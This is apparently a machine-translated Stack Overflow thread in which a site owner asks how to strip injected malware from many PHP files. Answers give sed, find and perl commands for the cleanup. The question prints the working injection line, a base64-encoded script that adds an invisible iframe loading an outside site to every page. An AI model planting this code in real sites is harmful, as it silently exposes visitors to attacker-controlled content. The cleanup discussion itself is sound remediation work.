0

マルウェアのクリーンアップのために、一括検索を実行して、すべての.phpファイルを次の文字列に置き換えようとしています。

<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vd3d3Lml3cy1sZWlwemlnLmRlL2NvbnRhY3RzLnBocCI+PC9pZnJhbWU+PC9kaXY+Jyk7PC9zY3JpcHQ+');}

を介して行全体を削除できsed '/buffer.base64_decode/d' file.phpます。しかし、私はまだオープニングが必要です<?php

ですから、本当にやらなければならないのは、の検索と交換ですbuffer.base64_decode<?php私の脳は、この邪悪なコンピューターの前で長い一日を過ごした後、すべてマッシュポテトです。

それとも、私は自分自身を小さな箱に入れて、これについてすべて間違っていると思ったのでしょうか?

4

2 に答える 2

1

行を削除する代わりに、単に変更しませんか?方法は次のGNU sedとおりです。

sed -i '/buffer.base64_decode/c \<?php ' file.php

これで、作業ディレクトリ内のすべてのファイルについて、次のようになります。

find . -type f -name "*.php" -exec sed -i '/buffer.base64_decode/c \<?php ' {} \;
于 2012-10-24T06:26:36.273 に答える
0

perl -pe 's/<\?php ob_start\("security_update"\);.*?\?>//gsm; s/<\?php ob_start\("security_update"\);.*/<?php/g;' test.php

于 2012-10-24T01:17:10.687 に答える